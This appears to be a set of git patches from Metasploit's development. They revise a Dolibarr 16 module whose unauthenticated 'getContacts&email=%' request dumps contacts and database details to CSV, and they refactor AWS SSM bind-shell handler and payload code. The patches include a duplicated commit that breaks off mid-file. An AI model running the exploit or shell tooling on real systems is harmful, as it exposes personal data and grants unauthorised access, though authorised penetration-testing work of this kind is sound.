official GitHub Repository from Dolibarr or via docker with an unofficial but working image and docker-compose. ``` Official GitHub Repository: @@ -20,7 +20,7 @@ Unofficial image with docker-compose: docker pull tuxgasy/dolibarr:16.0.4 -Important: This image dont contains database. So you need to link it with a database container. +Important: This image does not contain a database. So you need to link it with a database container. Use Docker Compose to integrate it with MariaDB (you can also use MySQL if you prefer). From a2f3a719a9e325a0471e9d211b8d81a4bd394386 Mon Sep 17 00:00:00 2001 From: vtoutain Date: Wed, 19 Apr 2023 11:45:03 +0200 Subject: [PATCH 037/415] Fixes from code reviews Fixed some typos, took into account the comment from jvoisin to infer fields from the JSON reply, used fail_with as suggested by jheysel-r7, fixed a rubocop warning about a redundant begin block. --- .../scanner/http/dolibarr_16_contact_dump.rb | 49 +++++++------------ 1 file changed, 19 insertions(+), 30 deletions(-) diff --git a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb index 41f055c0966af..e947450dde51f 100644 --- a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb +++ b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report + include Msf::Module::Failure def initialize(info = {}) super( @@ -59,7 +60,7 @@ def check_host(_ip) vprint_good("Response Code: #{res.code}") vprint_good("Response Body: #{res.body}") - /version=(?\d+.*\.\d+)/ =~ res.body + /Dolibarr (?\d+.*\.\d+)/ =~ res.body version = Rex::Version.new(version) if version.between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.0.4')) return [Exploit::CheckCode::Appears, version] @@ -76,23 +77,18 @@ def exploit 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'public', 'ticket', 'ajax', 'ajax.php?action=getContacts&email=%') }, 90, true) - vprint_line('--Exploit resquest--') + vprint_line('--Exploit request--') vprint_line("Domain: #{vhost}") vprint_line("Target_URI: #{normalize_uri(target_uri.path, 'public', 'ticket', 'ajax', 'ajax.php?action=getContacts&email=%')}") vprint_line('--Exploit response--') - begin - res_json_document = res.get_json_document['contacts'] - rescue StandardError - return Exploit::CheckCode::Unknown - end + + res_json_document = res.get_json_document['contacts'] if res && res.code != 200 - print_bad("Exploit response code: #{res.code}") - return Exploit::CheckCode::Unknown - elsif res_json_document.empty? - print_bad('Dolibarr database empty') - return Exploit::CheckCode::Unknown + fail_with(Failure::UnexpectedReply, "Exploit response code: #{res.code}") + elsif res_json_document.nil? + fail_with(Failure::UnexpectedReply, 'Dolibarr database empty') end vprint_good("Response Code: #{res.code}") @@ -106,14 +102,9 @@ def exploit print_good("Database port: #{res_json_document[0]['db']['database_port']}") end - contact_entry = %w[ - id country country_code state state_code region region_code note_public note_private note name lastname - firstname civility_id date_creation civility_code civility civilite address zip town poste email skype - twitter facebook linkedin jabberid photo phone_perso phone_mobile fax birthday ref_facturation - ref_contrat ref_commande user_login roles statut_commercial socname mail gender total_ht total_tva - total_localtax1 total_localtax2 total_ttc fk_bank fk_delivery_address fk_account cond_reglement - transport_mode_id barcode_type - ] + contact_fields = res.get_json_document['contacts'][0].keys + contact_fields.delete('db') # We do not want this in the csv + contact_entry_data = [] nbr_contact = res_json_document.length.to_i @@ -121,19 +112,17 @@ def exploit print_good("Found #{nbr_contact} contacts.") csv_string = CSV.generate do |csv| # Loop to write into csv - csv << contact_entry + csv << contact_fields nbr_contact.times do |num| # Loop on every contact - contact_entry.each_with_index do |element, index_element| - begin - contact_entry_data << res_json_document[num][element].to_s.gsub("\r\n", ' ') - rescue StandardError - contact_entry_data << ' ' - end - if index_element == contact_entry.length - 1 - csv << contact_entry_data - contact_entry_data.clear + contact_fields.each do |element| + if res_json_document[num][element.to_s].is_a?(String) || res_json_document[num][element.to_s].is_a?(Int) + contact_entry_data << res_json_document[num][element.to_s].to_s.gsub("\r\n", ' ') end + rescue StandardError + contact_entry_data << ' ' end + csv << contact_entry_data + contact_entry_data.clear end end From 15ff4875bc680ae18099287e021130ad9481a9c0 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 18 Apr 2023 16:41:48 -0400 Subject: [PATCH 038/415] Combine AWS SSM modules, autodetect platform --- .../sessions/aws_ssm_command_shell_bind.rb | 31 ++++++------ lib/msf/base/sessions/command_shell.rb | 2 +- lib/msf/core/handler/bind_aws_ssm.rb | 6 +-- modules/auxiliary/cloud/aws/enum_ssm.rb | 8 +--- .../singles/cmd/windows/bind_aws_ssm.rb | 48 ------------------- .../shell_bind_aws_ssm.rb} | 27 ++++------- 6 files changed, 31 insertions(+), 91 deletions(-) delete mode 100644 modules/payloads/singles/cmd/windows/bind_aws_ssm.rb rename modules/payloads/singles/{cmd/unix/bind_aws_ssm.rb => generic/shell_bind_aws_ssm.rb} (57%) diff --git a/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb b/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb index 8ced782c97307..912857770d6e0 100644 --- a/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb +++ b/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb @@ -23,6 +23,23 @@ class AwsSsmCommandShellBind < Msf::Sessions::CommandShell # include Msf::Session::Provider::SingleCommandShell + def initialize(conn, opts=nil) + super + + if opts && (ssm_peer_info = opts.fetch(:aws_ssm_host_info)) + case ssm_peer_info['PlatformType'] + when 'Linux' + @platform = 'linux' + when 'MacOS' + @platform = 'osx' + when 'Windows' + @platform = 'win' + end + + @info = "AWS SSM #{ssm_peer_info['ResourceType']} (#{ssm_peer_info['InstanceId']})" + end + end + ## # # Returns the session description. @@ -30,19 +47,5 @@ class AwsSsmCommandShellBind < Msf::Sessions::CommandShell def desc 'AWS SSM command shell' end - - ## - # Intercept point from Msf::Sessions::CommandShell#shell_read - ## - def shell_read(length=-1, timeout=1) - super(length, timeout) - end - - ## - # Intercept point from Msf::Sessions::CommandShell#shell_write - ## - def shell_write(buf) - super(buf) - end end end diff --git a/lib/msf/base/sessions/command_shell.rb b/lib/msf/base/sessions/command_shell.rb index 2e419ae29b0b6..dd361e5290dbf 100644 --- a/lib/msf/base/sessions/command_shell.rb +++ b/lib/msf/base/sessions/command_shell.rb @@ -130,7 +130,7 @@ def bootstrap(datastore = {}, handler = nil) end # Only populate +session.info+ with a captured banner if the shell is responsive and verified - session.info = session_info + session.info = session_info if session.info.blank? session else # Encrypted shells need all information read before anything is written, so we read in the banner here. However we diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb index 7a35e826cd991..80ef2fe6008ad 100644 --- a/lib/msf/core/handler/bind_aws_ssm.rb +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -238,7 +238,7 @@ def start_handler end break if ssm_client - # Wait a second before trying again + # Wait a half-second before trying again Rex::ThreadSafe.sleep(0.5) end @@ -284,7 +284,8 @@ def start_handler elog('Exception raised from BindAwsSsm.handle_connection', error: e) end self.listener_pairs[datastore['EC2_ID']] = chan - handle_connection(chan.lsock, { datastore: datastore }) + + handle_connection(chan.lsock, { datastore: datastore, aws_ssm_host_info: peer_info }) end else wlog('No connection received before the handler completed') @@ -368,7 +369,6 @@ def create_session(ssm, opts = {}) # notify any waiters we may have. if s register_session(s) - s.info = "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{datastore['EC2_ID']})" end return s diff --git a/modules/auxiliary/cloud/aws/enum_ssm.rb b/modules/auxiliary/cloud/aws/enum_ssm.rb index 1ddc8b5dbd5da..b0ae94e10ec78 100644 --- a/modules/auxiliary/cloud/aws/enum_ssm.rb +++ b/modules/auxiliary/cloud/aws/enum_ssm.rb @@ -110,13 +110,9 @@ def run next unless datastore['CreateSession'] socket = get_ssm_socket(client, ssm_host['InstanceId']) - if ssm_host['PlatformType'].casecmp?('Windows') - sess = Msf::Sessions::CommandShellWindows.new(socket.lsock) - else - sess = Msf::Sessions::CommandShellUnix.new(socket.lsock) - end + sess = Msf::Sessions::AwsSsmCommandShellBind.new(socket.lsock, { datastore: datastore, aws_ssm_host_info: ssm_host }) - start_session(self, "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{ssm_host['InstanceId']})", datastore, false, socket.lsock, sess) + start_session(self, sess.info, datastore, false, socket.lsock, sess) end rescue Seahorse::Client::NetworkingError => e print_error e.message diff --git a/modules/payloads/singles/cmd/windows/bind_aws_ssm.rb b/modules/payloads/singles/cmd/windows/bind_aws_ssm.rb deleted file mode 100644 index 7c2cac5944390..0000000000000 --- a/modules/payloads/singles/cmd/windows/bind_aws_ssm.rb +++ /dev/null @@ -1,48 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -module MetasploitModule - CachedSize = 70 - - include Msf::Payload::Single - include Msf::Sessions::CommandShellOptions - - def initialize(info = {}) - super( - merge_info( - info, - 'Name' => 'Windows Command Shell, Bind SSM (via AWS API)', - 'Description' => 'Creates an interactive shell using AWS SSM', - 'Author' => 'RageLtMan ', - 'License' => MSF_LICENSE, - 'Platform' => 'windows', - 'Arch' => ARCH_CMD, - 'Handler' => Msf::Handler::BindAwsSsm, - 'Session' => Msf::Sessions::CommandShellWindows, - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic', - 'Payload' => { - 'Offsets' => {}, - 'Payload' => '' - } - ) - ) - end - - # - # Constructs the payload - # - def generate(_opts = {}) - vprint_good(command_string) - return super + command_string - end - - # - # Returns the command string to use for execution - # - def command_string - '' - end -end diff --git a/modules/payloads/singles/cmd/unix/bind_aws_ssm.rb b/modules/payloads/singles/generic/shell_bind_aws_ssm.rb similarity index 57% rename from modules/payloads/singles/cmd/unix/bind_aws_ssm.rb rename to modules/payloads/singles/generic/shell_bind_aws_ssm.rb index 52d1a9c87d05c..686b8b6e93253 100644 --- a/modules/payloads/singles/cmd/unix/bind_aws_ssm.rb +++ b/modules/payloads/singles/generic/shell_bind_aws_ssm.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 70 + CachedSize = 0 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions @@ -13,16 +13,14 @@ def initialize(info = {}) super( merge_info( info, - 'Name' => 'Unix Command Shell, Bind SSM (via AWS API)', + 'Name' => 'Command Shell, Bind SSM (via AWS API)', 'Description' => 'Creates an interactive shell using AWS SSM', 'Author' => 'RageLtMan ', 'License' => MSF_LICENSE, - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, + 'Platform' => '', + 'Arch' => ARCH_ALL, 'Handler' => Msf::Handler::BindAwsSsm, - 'Session' => Msf::Sessions::CommandShellUnix, - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic', + 'Session' => Msf::Sessions::AwsSsmCommandShellBind, 'Payload' => { 'Offsets' => {}, 'Payload' => '' @@ -31,18 +29,9 @@ def initialize(info = {}) ) end - # - # Constructs the payload - # - def generate(_opts = {}) - vprint_good(command_string) - return super + command_string - end + def on_session(session) + super - # - # Returns the command string to use for execution - # - def command_string - '' + session.arch.clear # undo the ARCH_ALL amalgamation end end From a7d8bc6757a2da3fbdf55fd72f1cddb118c0a8c1 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 18 Apr 2023 12:23:46 -0400 Subject: [PATCH 039/415] Fix sessions opening over and over again Also make some code cleanups --- .../sessions/aws_ssm_command_shell_bind.rb | 2 +- lib/msf/core/handler/bind_aws_ssm.rb | 76 +++++++++---------- lib/rex/proto/http/web_socket/amazon_ssm.rb | 8 +- 3 files changed, 40 insertions(+), 46 deletions(-) diff --git a/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb b/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb index 3c76e137f1886..8ced782c97307 100644 --- a/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb +++ b/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb @@ -28,7 +28,7 @@ class AwsSsmCommandShellBind < Msf::Sessions::CommandShell # Returns the session description. # def desc - 'SSM command shell' + 'AWS SSM command shell' end ## diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb index ba4db437470b0..7923cb3348c77 100644 --- a/lib/msf/core/handler/bind_aws_ssm.rb +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -6,8 +6,8 @@ module Handler ### # # This module implements the AWS SSM handler. This means that -# it will attempt to connect to a remote host through the AWS SSM pipe for -# a period of time (typically the duration of an exploit) to see if a the +# it will attempt to connect to a remote host through the AWS SSM pipe for +# a period of time (typically the duration of an exploit) to see if a the # agent has started listening. # ### @@ -40,7 +40,7 @@ def initialize(framework, ssmclient, peer_info) # self.lsock.peerinfo = peer_info['ComputerName'] + ':0' self.lsock.peerinfo = peer_info['IpAddress'] + ':0' # Fudge the portspec since each client request is actually a new connection w/ a new source port, for now - self.lsock.localinfo = Rex::Socket.source_address(@ssmclient.config.endpoint.to_s.sub('https://','')) + ':0' + self.lsock.localinfo = Rex::Socket.source_address(@ssmclient.config.endpoint.to_s.sub('https://', '')) + ':0' monitor_shell_stdout end @@ -53,7 +53,7 @@ def initialize(framework, ssmclient, peer_info) # funneling the data to the shell's stdin on the other side. # def monitor_shell_stdout - @monitor_thread = @framework.threads.spawn("AwsSsmSessionHandlerMonitor", false) { + @monitor_thread = @framework.threads.spawn('AwsSsmSessionHandlerMonitor', false) { begin while true Rex::ThreadSafe.sleep(0.5) while @cursor.nil? @@ -73,13 +73,13 @@ def ssm_read(length = nil, opts = {}) maxw = opts[:timeout] ? opts[:timeout] : 30 start = Time.now resp = @ssmclient.list_command_invocations(command_id: @cursor, instance_id: @peer_info['InstanceId'], details: true) - while (resp.command_invocations.empty? or resp.command_invocations[0].status == "InProgress") and + while (resp.command_invocations.empty? or resp.command_invocations[0].status == 'InProgress') and (Time.now - start).to_i.abs < maxw do Rex::ThreadSafe.sleep(1) resp = @ssmclient.list_command_invocations(command_id: @cursor, instance_id: @peer_info['InstanceId'], details: true) end # SSM script invocation states are: InProgress, Success, TimedOut, Cancelled, Failed - if resp.command_invocations[0].status == "Success" or resp.command_invocations[0].status == "Failed" + if resp.command_invocations[0].status == 'Success' or resp.command_invocations[0].status == 'Failed' # The big limitation: SSM command outputs are only 2500 chars max, otherwise you have to write to S3 and read from there output = resp.command_invocations.map {|c| c.command_plugins.map {|p| p.output}.join}.join @cursor = nil @@ -123,21 +123,21 @@ def close # 'bind_tcp'. # def self.handler_type - return "bind_aws_ssm" + return 'bind_aws_ssm' end # # Returns the connection oriented general handler type, in this case bind. # def self.general_handler_type - "bind" + 'bind' end # A string suitable for displaying to the user # # @return [String] def human_name - "bind AWS SSM" + 'bind AWS SSM' end # @@ -162,12 +162,12 @@ def initialize(info = {}) OptString.new('SSM_SESSION_DOC', [true, 'The SSM document to use for session requests', 'SSM-SessionManagerRunShell']), OptString.new('SSM_COMMAND_DOC', [true, 'The SSM document to use for command requests', 'AWS-RunShellScript']), OptBool.new('SSM_FORCE_COMMANDS', [false, 'Force the session to use command abstraction without WebSockets', false]), - OptBool.new('SSM_KEEP_ALIVE', [false, 'Keep AWS SSM session alive with empty messages', true]) + OptBool.new('SSM_KEEP_ALIVE', [false, 'Keep AWS SSM session alive with empty messages', true]), ], Msf::Handler::BindAwsSsm) self.listener_threads = [] self.conn_threads = [] - self.listener_pairs = {} + self.listener_pairs = {} end # @@ -177,6 +177,7 @@ def cleanup_handler # Kill any remaining handle_connection threads that might # be hanging around stop_handler + conn_threads.each { |thr| thr.kill } @@ -210,20 +211,20 @@ def start_handler if (exploit_config and exploit_config['active_timeout']) ctimeout = exploit_config['active_timeout'].to_i end + + # Ignore this if one of the requried options is missing + return if datastore['EC2_ID'].blank? + + # Only try the same host/port combination once + return if self.listener_pairs[datastore['EC2_ID']] self.listener_pairs[datastore['EC2_ID']] = true # Start a new handling thread - self.listener_threads = framework.threads.spawn("BindAwsSsmHandler-#{datastore['EC2_ID']}", false) { + self.listener_threads << framework.threads.spawn("BindAwsSsmHandler-#{datastore['EC2_ID']}", false) do ssm_client = nil print_status("Started #{human_name} handler against #{datastore['EC2_ID']}:#{datastore['REGION']}") - if (datastore['EC2_ID'] == nil or datastore['EC2_ID'].strip.empty?) - raise ArgumentError, - "EC2_ID is not defined; SSM handler cannot function.", - caller - end - stime = Time.now.to_i while (stime + ctimeout > Time.now.to_i) @@ -242,24 +243,25 @@ def start_handler end # Valid client connection? - if (ssm_client) + if ssm_client # Increment the has connection counter self.pending_connections += 1 # Timeout and datastore options need to be passed through to the client opts = { - :datastore => datastore, - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i, + datastore: datastore, + expiration: datastore['SessionExpirationTimeout'].to_i, + comm_timeout: datastore['SessionCommunicationTimeout'].to_i, + retry_total: datastore['SessionRetryTotal'].to_i, + retry_wait: datastore['SessionRetryWait'].to_i } - self.conn_threads << framework.threads.spawn("BindAwsSsmHandlerSession", false, ssm_client, peer_info) { |client_copy, info_copy| + self.conn_threads << framework.threads.spawn('BindAwsSsmHandlerSession', false, ssm_client, peer_info) do |client_copy, info_copy| begin raise Rex::Proto::Http::WebSocket::ConnectionError if datastore['SSM_FORCE_COMMANDS'] + # Call API to start SSM session - session_init = client_copy.start_session({ + session_init=client_copy.start_session({ target: datastore['EC2_ID'], document_name: datastore['SSM_SESSION_DOC'] }) @@ -283,11 +285,11 @@ def start_handler end self.listener_pairs[datastore['EC2_ID']] = chan handle_connection(chan.lsock, { datastore: datastore }) - } + end else - wlog("No connection received before the handler completed") + wlog('No connection received before the handler completed') end - } + end end # A URI describing what the payload is configured to use for transport @@ -295,14 +297,6 @@ def payload_uri "ssm://#{datastore['EC2_ID']}:0" end - def comm_string - if bind_sock.nil? - "(setting up)" - else - via_string(bind_sock.client) if bind_sock.respond_to?(:client) - end - end - def stop_handler # Stop the listener threads self.listener_threads.each do |t| @@ -345,9 +339,9 @@ def get_ssm_session # Verify the connection params and availability of instance inv_params = { filters: [ { - key: "AWS:InstanceInformation.InstanceId", + key: 'AWS:InstanceInformation.InstanceId', values: [datastore['EC2_ID']], - type: "Equal", + type: 'Equal', } ]} inventory = client.get_inventory(inv_params) @@ -355,7 +349,7 @@ def get_ssm_session if inventory.entities[0] and inventory.entities[0].id == datastore['EC2_ID'] peer_info = inventory.entities[0].data['AWS:InstanceInformation'].content[0] else - raise "SSM target not found" + raise 'AWS SSM target not found' end return [client, peer_info] end @@ -393,4 +387,4 @@ module AwsSsmSessionChannelExt end end -end \ No newline at end of file +end diff --git a/lib/rex/proto/http/web_socket/amazon_ssm.rb b/lib/rex/proto/http/web_socket/amazon_ssm.rb index 4ac1436ac1349..866960511159c 100644 --- a/lib/rex/proto/http/web_socket/amazon_ssm.rb +++ b/lib/rex/proto/http/web_socket/amazon_ssm.rb @@ -175,7 +175,7 @@ def on_data_read(data, _data_type) close else raise Rex::Proto::Http::WebSocket::ConnectionError.new( - msg: 'Unknown SSM message type', message_type: ssm_frame.header.message_type + msg: "Unknown AWS SSM message type: #{ssm_frame.header.message_type}" ) end nil @@ -261,13 +261,13 @@ def length # # Initiates a WebSocket session based on the params of SSM::Client#start_session # - # @param [Aws::SSM::Types::StartSessionResponse] :session_init Paramters returned by #start_session + # @param [Aws::SSM::Types::StartSessionResponse] :session_init Parameters returned by #start_session # @param [Integer] :timeout # # @return [Socket] Socket representing the authenticates SSM WebSocket connection def connect_ssm_ws(session_init, timeout = 20) # hack-up a "graceful fail-down" in the caller - # raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'WebSocket sesssions still need structs/parsing') + # raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'WebSocket sessions still need structs/parsing') ws_key = session_init.token_value ssm_id = session_init.session_id ws_url = URI.parse(session_init.stream_url) @@ -313,4 +313,4 @@ def connect_ssm_ws(session_init, timeout = 20) # Extend with interface socket.extend(Interface) end -end \ No newline at end of file +end From 59b3c0e94576f866dc04c3ef06efbd6d5edff7ec Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 18 Apr 2023 14:07:04 -0400 Subject: [PATCH 040/415] Set the platform in enum_ssm Update the enum_ssm module to use the correct session type with the appropriate platform. Also set the session information to the same string which also removes the eye sore that is the shell banner. --- lib/msf/core/handler/bind_aws_ssm.rb | 3 ++- lib/rex/proto/http/web_socket/amazon_ssm.rb | 11 +++++++---- modules/auxiliary/cloud/aws/enum_ssm.rb | 14 ++++++++++---- 3 files changed, 19 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb index 7923cb3348c77..7a35e826cd991 100644 --- a/lib/msf/core/handler/bind_aws_ssm.rb +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -261,7 +261,7 @@ def start_handler raise Rex::Proto::Http::WebSocket::ConnectionError if datastore['SSM_FORCE_COMMANDS'] # Call API to start SSM session - session_init=client_copy.start_session({ + session_init = client_copy.start_session({ target: datastore['EC2_ID'], document_name: datastore['SSM_SESSION_DOC'] }) @@ -368,6 +368,7 @@ def create_session(ssm, opts = {}) # notify any waiters we may have. if s register_session(s) + s.info = "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{datastore['EC2_ID']})" end return s diff --git a/lib/rex/proto/http/web_socket/amazon_ssm.rb b/lib/rex/proto/http/web_socket/amazon_ssm.rb index 866960511159c..e4d9b5e23522f 100644 --- a/lib/rex/proto/http/web_socket/amazon_ssm.rb +++ b/lib/rex/proto/http/web_socket/amazon_ssm.rb @@ -93,7 +93,7 @@ def handle_output_data(output_frame) else @ack_message = acknowledge_output(output_frame) # TODO: handle Payload::* types - if [PayloadType::Output, PayloadType::Error].any? {|e| e == output_frame.payload_type } + if [PayloadType::Output, PayloadType::Error].any? { |e| e == output_frame.payload_type } if @filter_echo.is_a?(String) and output_frame.payload_data.strip == @filter_echo.strip dlog("SsmChannel: filtering output #{@filter_echo}") @filter_echo = true @@ -121,6 +121,7 @@ def handle_acknowledge(ack_frame) def update_term_size return unless ::IO.console + rows, cols = ::IO.console.winsize unless rows == self.rows && cols == self.cols set_term_size(rows, cols) @@ -154,6 +155,7 @@ def initialize(websocket, filter_echo = false) def on_data_read(data, _data_type) return data if data.blank? + ssm_frame = SsmFrame.read(data) case ssm_frame.header.message_type.strip when 'output_stream_data' @@ -273,7 +275,7 @@ def connect_ssm_ws(session_init, timeout = 20) ws_url = URI.parse(session_init.stream_url) opts = {} opts['vhost'] = ws_url.host - opts['uri'] = ws_url.to_s.sub(/^.*#{ws_url.host}/,'') + opts['uri'] = ws_url.to_s.sub(/^.*#{ws_url.host}/, '') opts['headers'] = { 'Connection' => 'Upgrade', 'Upgrade' => 'WebSocket', @@ -282,10 +284,11 @@ def connect_ssm_ws(session_init, timeout = 20) } ctx = { 'Msf' => framework, - 'MsfExploit' => self, + 'MsfExploit' => self } http_client = Rex::Proto::Http::Client.new(ws_url.host, 443, ctx, true) raise Rex::Proto::Http::WebSocket::ConnectionError.new if http_client.nil? + # Send upgrade request req = http_client.request_raw(opts) res = http_client.send_recv(req, timeout) @@ -307,7 +310,7 @@ def connect_ssm_ws(session_init, timeout = 20) ssm_wsock_init = JSON.generate({ MessageSchemaVersion: '1.0', RequestId: UUID.rand, - TokenValue: ws_key, + TokenValue: ws_key }) socket.put_wstext(ssm_wsock_init) # Extend with interface diff --git a/modules/auxiliary/cloud/aws/enum_ssm.rb b/modules/auxiliary/cloud/aws/enum_ssm.rb index 0e3ba023ef5ef..1ddc8b5dbd5da 100644 --- a/modules/auxiliary/cloud/aws/enum_ssm.rb +++ b/modules/auxiliary/cloud/aws/enum_ssm.rb @@ -106,11 +106,17 @@ def run type: ssm_host['AgentType'], data: ssm_host['AgentVersion'] ) - vprint_good("Found SSM host #{ssm_host['InstanceId']} (#{ssm_host['ComputerName']}) - #{ssm_host['IpAddress']}") - if datastore['CreateSession'] - socket = get_ssm_socket(client, ssm_host['InstanceId']) - start_session(self, "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{ssm_host['InstanceId']})", datastore, false, socket.lsock) + vprint_good("Found AWS SSM host #{ssm_host['InstanceId']} (#{ssm_host['ComputerName']}) - #{ssm_host['IpAddress']}") + next unless datastore['CreateSession'] + + socket = get_ssm_socket(client, ssm_host['InstanceId']) + if ssm_host['PlatformType'].casecmp?('Windows') + sess = Msf::Sessions::CommandShellWindows.new(socket.lsock) + else + sess = Msf::Sessions::CommandShellUnix.new(socket.lsock) end + + start_session(self, "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{ssm_host['InstanceId']})", datastore, false, socket.lsock, sess) end rescue Seahorse::Client::NetworkingError => e print_error e.message From 2e3a2b6f6ddef9382c2bf938680a22a3c0ae4695 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 18 Apr 2023 16:41:48 -0400 Subject: [PATCH 041/415] Combine AWS SSM modules, autodetect platform --- .../sessions/aws_ssm_command_shell_bind.rb | 31 ++++++------ lib/msf/base/sessions/command_shell.rb | 2 +- lib/msf/core/handler/bind_aws_ssm.rb | 6 +-- modules/auxiliary/cloud/aws/enum_ssm.rb | 8 +--- .../singles/cmd/windows/bind_aws_ssm.rb | 48 ------------------- .../shell_bind_aws_ssm.rb} | 27 ++++------- 6 files changed, 31 insertions(+), 91 deletions(-) delete mode 100644 modules/payloads/singles/cmd/windows/bind_aws_ssm.rb rename modules/payloads/singles/{cmd/unix/bind_aws_ssm.rb => generic/shell_bind_aws_ssm.rb} (57%) diff --git a/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb b/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb index 8ced782c97307..912857770d6e0 100644 --- a/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb +++ b/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb @@ -23,6 +23,23 @@ class AwsSsmCommandShellBind < Msf::Sessions::CommandShell # include Msf::Session::Provider::SingleCommandShell + def initialize(conn, opts=nil) + super + + if opts && (ssm_peer_info = opts.fetch(:aws_ssm_host_info)) + case ssm_peer_info['PlatformType'] + when 'Linux' + @platform = 'linux' + when 'MacOS' + @platform = 'osx' + when 'Windows' + @platform = 'win' + end + + @info = "AWS SSM #{ssm_peer_info['ResourceType']} (#{ssm_peer_info['InstanceId']})" + end + end + ## # # Returns the session description. @@ -30,19 +47,5 @@ class AwsSsmCommandShellBind < Msf::Sessions::CommandShell def desc 'AWS SSM command shell' end - - ## - # Intercept point from Msf::Sessions::CommandShell#shell_read - ## - def shell_read(length=-1, timeout=1) - super(length, timeout) - end - - ## - # Intercept point from Msf::Sessions::CommandShell#shell_write - ## - def shell_write(buf) - super(buf) - end end end diff --git a/lib/msf/base/sessions/command_shell.rb b/lib/msf/base/sessions/command_shell.rb index 2e419ae29b0b6..dd361e5290dbf 100644 --- a/lib/msf/base/sessions/command_shell.rb +++ b/lib/msf/base/sessions/command_shell.rb @@ -130,7 +130,7 @@ def bootstrap(datastore = {}, handler = nil) end # Only populate +session.info+ with a captured banner if the shell is responsive and verified - session.info = session_info + session.info = session_info if session.info.blank? session else # Encrypted shells need all information read before anything is written, so we read in the banner here. However we diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb index 7a35e826cd991..80ef2fe6008ad 100644 --- a/lib/msf/core/handler/bind_aws_ssm.rb +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -238,7 +238,7 @@ def start_handler end break if ssm_client - # Wait a second before trying again + # Wait a half-second before trying again Rex::ThreadSafe.sleep(0.5) end @@ -284,7 +284,8 @@ def start_handler elog('Exception raised from BindAwsSsm.handle_connection', error: e) end self.listener_pairs[datastore['EC2_ID']] = chan - handle_connection(chan.lsock, { datastore: datastore }) + + handle_connection(chan.lsock, { datastore: datastore, aws_ssm_host_info: peer_info }) end else wlog('No connection received before the handler completed') @@ -368,7 +369,6 @@ def create_session(ssm, opts = {}) # notify any waiters we may have. if s register_session(s) - s.info = "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{datastore['EC2_ID']})" end return s diff --git a/modules/auxiliary/cloud/aws/enum_ssm.rb b/modules/auxiliary/cloud/aws/enum_ssm.rb index 1ddc8b5dbd5da..b0ae94e10ec78 100644 --- a/modules/auxiliary/cloud/aws/enum_ssm.rb +++ b/modules/auxiliary/cloud/aws/enum_ssm.rb @@ -110,13 +110,9 @@ def run next unless datastore['CreateSession'] socket = get_ssm_socket(client, ssm_host['InstanceId']) - if ssm_host['PlatformType'].casecmp?('Windows') - sess = Msf::Sessions::CommandShellWindows.new(socket.lsock) - else - sess = Msf::Sessions::CommandShellUnix.new(socket.lsock) - end + sess = Msf::Sessions::AwsSsmCommandShellBind.new(socket.lsock, { datastore: datastore, aws_ssm_host_info: ssm_host }) - start_session(self, "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{ssm_host['InstanceId']})", datastore, false, socket.lsock, sess) + start_session(self, sess.info, datastore, false, socket.lsock, sess) end rescue Seahorse::Client::NetworkingError => e print_error e.message diff --git a/modules/payloads/singles/cmd/windows/bind_aws_ssm.rb b/modules/payloads/singles/cmd/windows/bind_aws_ssm.rb deleted file mode 100644 index 7c2cac5944390..0000000000000 --- a/modules/payloads/singles/cmd/windows/bind_aws_ssm.rb +++ /dev/null @@ -1,48 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -module MetasploitModule - CachedSize = 70 - - include Msf::Payload::Single - include Msf::Sessions::CommandShellOptions - 